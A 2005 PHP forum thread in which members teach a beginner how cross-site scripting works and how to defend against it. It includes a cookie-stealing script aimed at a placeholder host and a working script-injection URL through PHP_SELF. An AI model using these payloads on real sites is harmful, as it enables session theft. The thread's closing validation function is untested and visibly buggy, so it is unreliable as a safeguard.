Page 1 of 3

xss help

Posted: Tue Oct 25, 2005 6:01 am
by s.dot
I need to speak with someone, preferrably on a messenger, who knows how to exploit a site using xss. I am new in this field, and if I could find someone who would exploit my site, in a non-harmful manner, I could learn how to fix it.

Gotta start somewhere. :-/

Please send me a private message.

Posted: Tue Oct 25, 2005 6:08 am
by Jenk
It's all to do with input sanitisation.

Put up the details here and I am sure people will be happy to help :)

If you are worried about HTML injection, such as the following user input:

Code: Select all

<script language='JavaScript'>
window.location('http://www.nastysite.com/cookiestealer.php?c=' + document.cookie);
</script>
then filtering out html char's would be a need :)

Posted: Tue Oct 25, 2005 7:08 am
by s.dot
Well, I allow HTML.

But I have written several functions which filter out all javascript (extensively tested.. to the best of my knowledge) and it works pretty good.

I guess I am just scared of the unknown. I'm not exactly sure what XSS is, although I've been reading up on it tonight.

I'm guessing javascript isn't the only way it can be done?

I've seen some examples of people putting javascript in the URL, like http://www.domain.com/a.php?variable="> ... ';</script>

I'm not sure how to protect against that, or if I need to.

Other than a certain page, all content is escaped using mysql_real_escape_string and is switched to entities using htmlentities().

On the one page where I do allow HTML, I run it through my functions for stripping javascript, but I am not sure this is enough.

Posted: Tue Oct 25, 2005 7:19 am
by Jenk
allowing HTML, but not JavaScript can still be exploited, there is of course the creating of a simple link that will entice users to click, which can be to a malicious link.

the other, is the use of frames, or iframes, where the source (href) is malicious.

Posted: Tue Oct 25, 2005 7:31 am
by Maugrim_The_Reaper
I've seen some examples of people putting javascript in the URL, like http://www.domain.com/a.php?variable="> ... ';</script>
Be wary of using $_SERVER['PHP_SELF'], especially in a form's "action" attribute. Use SCRIPT_NAME, etc. instead.

Might be worth your while to look up a few third party libraries that claim to strip out XSS strings, e.g. safeHTML by pixelapes. Even reading through the classes would be an eye opener. It's more applicable to blocks of text input but it can be used in other cases also.

The most important rule is to filter all input - make sure it's all what you expected. Also remove any input which is invalid for the current request. The way I do it is to use a Filter class to perform the filtering, and for each possible page request have a definition/rules file which lays out the input keys expected, the data type, length, etc. On a page request I call the Filter, pass it the rules, and it will filter the GET/POST superglobals.

Second part is to escape all output - you seem to be doing that so no elaboration ;) If you want a closer look at my method just drop me a PM, I won't post it because it's incomplete in two places.

Posted: Tue Oct 25, 2005 7:41 am
by Jenk
Maugrim_The_Reaper wrote:Be wary of using $_SERVER['PHP_SELF'], especially in a form's "action" attribute. Use SCRIPT_NAME, etc. instead.
Are you sure you have that the right way round? You don't want to be using SCRIPT_NAME, which gives the full absolute path to the current file, in the action attribute.. you'd want to use PHP_SELF which gives the path, relative to the document root.

Posted: Tue Oct 25, 2005 8:58 am
by Maugrim_The_Reaper
No, I'm right. Do not trust $_SERVER['PHP_SELF']. I'll explain why and try digging out a reference on Google if I can find one.

Basically you can very easily taint PHP_SELF by exploiting the url to a given form. If you have a form of the type:

Code: Select all

<form method="post" action="<?php echo($_SERVER['PHP_SELF']); ?>">
You can reach this by url using:

Code: Select all

http://localhost/form.php/end%22+%2F%3E%3Cscript%3Ealert%28%27Bad+Things+Happen%27%29%3C%2Fscript%3E
This url encoded string states:

end" /><script>alert('Bad Things Happen')</script>

This will end the form, and start a new HTML tag - the script tag holding our XSS instruction in javascript. If you look at the url you'll spot the trailing slash after the PHP filename. It should look familiar as the short url setup you see using Apache. The obviously bad tag remainder is ignored in many cases - after all who cares about malformed HTML? ;)

You have now wound up with a nice little XSS exploit whereby anyone could post a link to your form using the tainted URL containing a valid script block. It will taint PHP_SELF, run the script on the visitor's browser and do whatever bad things were setup.

On that basis I suggested using SCRIPT_NAME - I should have noted using a manipulation to pull out the filename only.

It's interesting to note that ALL user input must be filtered - and that includes the $_SERVER variables whose origins are questionable and whose PHP manual entires are misleading (they're not entirely server sourced!).

This seems to be the most referenced Google entry: http://blog.phpdoc.info/archives/13-XSS-Woes.html I'm pretty sure Chris Shiflett had something too - but can't remember where.

Posted: Tue Oct 25, 2005 9:06 am
by Jenk
I didn't realise $_SERVER['PHP_SELF'] was generated from the URI, I thought it was generated in the same way $_SERVER['SCRIPT_NAME'] (or __FILE__) is generated, i.e. from backend, not client request.

Posted: Tue Oct 25, 2005 9:13 am
by Maugrim_The_Reaper
Like I said - SERVER is questionable, and not well documented as to the source. I pretty much distrust anything from SERVER, probably overkill but there's no denying you can indeed taint PHP_SELF though the url... Where there's one...

Posted: Tue Oct 25, 2005 1:44 pm
by timvw
As usual, if you want to be sure... consider everything in $_SERVER tainted.. Better safe than sorry.

Posted: Tue Oct 25, 2005 2:06 pm
by Jenk
then SCRIPT_NAME and DOCUMENT_ROOT are tainted aswell.

Posted: Tue Oct 25, 2005 2:35 pm
by s.dot
The $_SERVER argument is moot in my case, as I don't often use server variables (ie $_SERVER['PHP_SELF']) but makes an interesting topic of discussion.

Posted: Tue Oct 25, 2005 4:38 pm
by Jenk
I would like to continue this discussion, regarding $_SERVER superglobal, but as this is not the thread for it, I will not continue it here :)

I'll also do the usual of searching etc. before I post anything. :)

Posted: Tue Oct 25, 2005 6:03 pm
by Chris Corbyn
Hmm... well that's taught me something new :)

I use PHP_SELF everywhere :? I knew it didn't pull out the QUERY_STRING with it but obviously putting the trailing slash in the URL taints the behaviour. Time to do some recoding. Thanks for the heads-up Maugrim :D

Posted: Tue Oct 25, 2005 6:48 pm
by Chris Corbyn

Code: Select all

// @ $typelist "type1 varname1[, varname2 [, .....]]; type2 varname...."
function ExpectedVarTypes($typelist, $where)
{
		
	$type_pairs = preg_split('/\s*\;\s*/', $typelist);
	foreach ($type_pairs as $tp)
	{
		preg_match('/^\s*([a-z]+)\s+([\w,\s]+)$/i', $tp, $parts);
		$type = $parts[1];
		$vars = preg_split('/\s*,\s*/', $parts[2]);
		foreach ($vars as $v)
		{
			if (isset($where[$v))
			{
				switch (strtolower($type))
				{
					case 'int': if (!is_int($where[$v])) return false;
					case 'numeric': if (!is_numeric($where[$v])) return false;
					case 'float': if (!is_float($where[$v])) return false;
					case 'string': if (!is_string($where[$v])) return false;
					case 'nohtml': if (preg_match('@<[^>]+>@s', $where[$v])) return false;
					case 'noscript': if (preg_match('@<\s*script\b[^>]*>.*?<\s*/\s*script[^>]*>@is', $where[$v])) return false;
				}
			} //End if
		} //End foreach
	}
	return true;
}
Something I just knocked up quickly. I haven't tested it properly but it can be worked on anyway. Check the URL or POST, or REQUEST etc to see if you have what you were expecting...

Example: A URL like this http://mysite.tld?foo.php?somevar=xxx&a ... estvar=123

foo.php

Code: Select all

if (!ExpectedVarTypes('int somevar, testvar; nohtml anothervar', $_GET)) die("Are yo' some kinda cracker or something? ");
It'll need some work to be thorough enough but the idea is on :D